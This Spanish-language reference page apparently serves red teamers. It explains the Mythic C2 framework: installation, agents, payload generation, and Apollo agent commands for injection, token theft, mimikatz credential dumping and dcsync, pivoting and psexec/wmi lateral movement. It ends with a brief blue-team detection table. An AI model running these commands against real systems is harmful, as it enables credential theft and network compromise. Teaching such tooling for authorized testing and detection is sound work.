mythic c2
Mythic C2
Section titled “Mythic C2”Mythic es un framework de C2 open source desarrollado por @its_a_feature_, diseñado con una arquitectura modular donde el servidor central es agnóstico al agente. Los implantes (llamados Agents en Mythic) son plugins independientes que se instalan en el servidor — cada uno tiene su propio lenguaje, protocolo y capacidades. Esta arquitectura permite usar agentes como Apollo (Windows, .NET), Poseidon (Linux/macOS, Go), Medusa (Python) o Thanatos (Rust) sobre la misma infraestructura.
Mythic tiene una interfaz web completa en lugar de cliente de escritorio, lo que facilita el trabajo en equipo sin instalar nada en las máquinas de los operadores.
Arquitectura
Section titled “Arquitectura”[Operador] → Navegador web → [Mythic Server] ← Agente en el targetMythic corre como un conjunto de contenedores Docker: el servidor principal, la base de datos (PostgreSQL), el servidor web (React) y cada agente/perfil C2 como contenedor independiente.
Instalación
Section titled “Instalación”# Dependencias: Docker y docker-composegit clone https://github.com/its-a-feature/Mythiccd Mythic
# Configuración inicialsudo ./install_docker_ubuntu.sh # o debian/centos según distro
# Arrancar Mythicsudo ./mythic-cli start
# Ver credenciales generadassudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORDLa interfaz web estará disponible en https://IP:7443.
Instalación de agentes y perfiles C2
Section titled “Instalación de agentes y perfiles C2”# Instalar agente Apollo (Windows, .NET)sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
# Instalar agente Poseidon (Linux/macOS, Go)sudo ./mythic-cli install github https://github.com/MythicAgents/poseidon
# Instalar perfil C2 HTTPsudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
# Instalar perfil C2 DNSsudo ./mythic-cli install github https://github.com/MythicC2Profiles/dns
# Ver todo lo instaladosudo ./mythic-cli statusAgentes disponibles
Section titled “Agentes disponibles”| Agente | OS | Lenguaje | Características destacadas |
|---|---|---|---|
| Apollo | Windows | C# (.NET) | BOFs, inject, token manipulation |
| Poseidon | Linux / macOS | Go | Port forwarding, SOCKS5 |
| Medusa | Windows / Linux | Python | Scripting flexible |
| Thanatos | Windows / Linux | Rust | Alta evasión, cifrado fuerte |
| Athena | Cross-platform | C# | P2P, SMB/TCP lateral movement |
| Freyja | macOS | Swift | Específico para macOS |
Flujo de operación
Section titled “Flujo de operación”Desde la interfaz web de Mythic:
- Crear listener:
C2 Profiles → Start Profile Instance— seleccionar protocolo (HTTP, DNS, SMB) y configurar puerto, host y opciones de staging. - Generar payload:
Payloads → Generate New Payload— seleccionar agente (Apollo, Poseidon…), perfil C2 activo, formato de salida (exe, dll, shellcode) y opciones de configuración. - Gestionar callbacks: Una vez el agente ejecuta en el target, aparece en
Callbacks. Desde ahí se interactúa con él mediante la task queue. - Ejecutar tareas: Las tareas se encolan y el agente las recoge en el siguiente check-in.
Comandos — Apollo (Windows)
Section titled “Comandos — Apollo (Windows)”# Reconocimientoshell whoamips # lista de procesosls / cd / pwdcat C:\ruta\archivo
# Ejecución .NET en memoriaexecute_assembly SharpHound.exe -c allexecute_assembly Rubeus.exe kerberoast /nowrapexecute_assembly Seatbelt.exe -group=all
# Injectioninject --pid 1234 --shellcode payload.binshinject --pid 1234 --shellcode payload.bin # más sigiloso
# Tokens y privilegiosgetprivs # listar privilegios del tokensteal_token --pid 1234 # robar token de proceso elevadorev2self # revertir token
# Credencialesmimikatz sekurlsa::logonpasswordsmimikatz lsadump::dcsync /user:krbtgt
# Pivotingsocks5 start --port 1080rpfwd --lport 13389 --rhost 192.168.1.10 --rport 3389
# Lateral movementjump psexec --host target --payload apollopayload.exejump wmi --host target --payload apollopayload.exe
# Transferenciadownload C:\Users\admin\passwords.txtupload /tmp/herramienta.exe C:\Windows\Temp\Grafos y análisis
Section titled “Grafos y análisis”Una de las mejores características de Mythic es la visualización gráfica de operaciones: Operational Views → Graph muestra las relaciones entre callbacks, hosts comprometidos y rutas de pivoting, lo que facilita enormemente entender la topología de una red compleja durante un engagement largo.
Detección — perspectiva Blue Team
Section titled “Detección — perspectiva Blue Team”| Indicador | Descripción |
|---|---|
| Puerto 7443 | Interfaz web del servidor Mythic expuesta |
| Contenedores Docker | Mythic corre en Docker — procesos mythic_* en el servidor |
| Staging HTTP | Patrón de peticiones GET/POST con UUIDs en la URI |
| Agentes .NET | Apollo usa reflection y AppDomain para cargar assemblies |
| Nombres de task | Los tasks tienen UUIDs únicos — visibles en análisis de tráfico |
Mythic es especialmente útil en engagements largos y con equipos porque la interfaz web centraliza toda la información: callbacks, tareas, archivos, credenciales capturadas y grafos de red. Es el C2 más orientado a operaciones en equipo de los cubiertos aquí.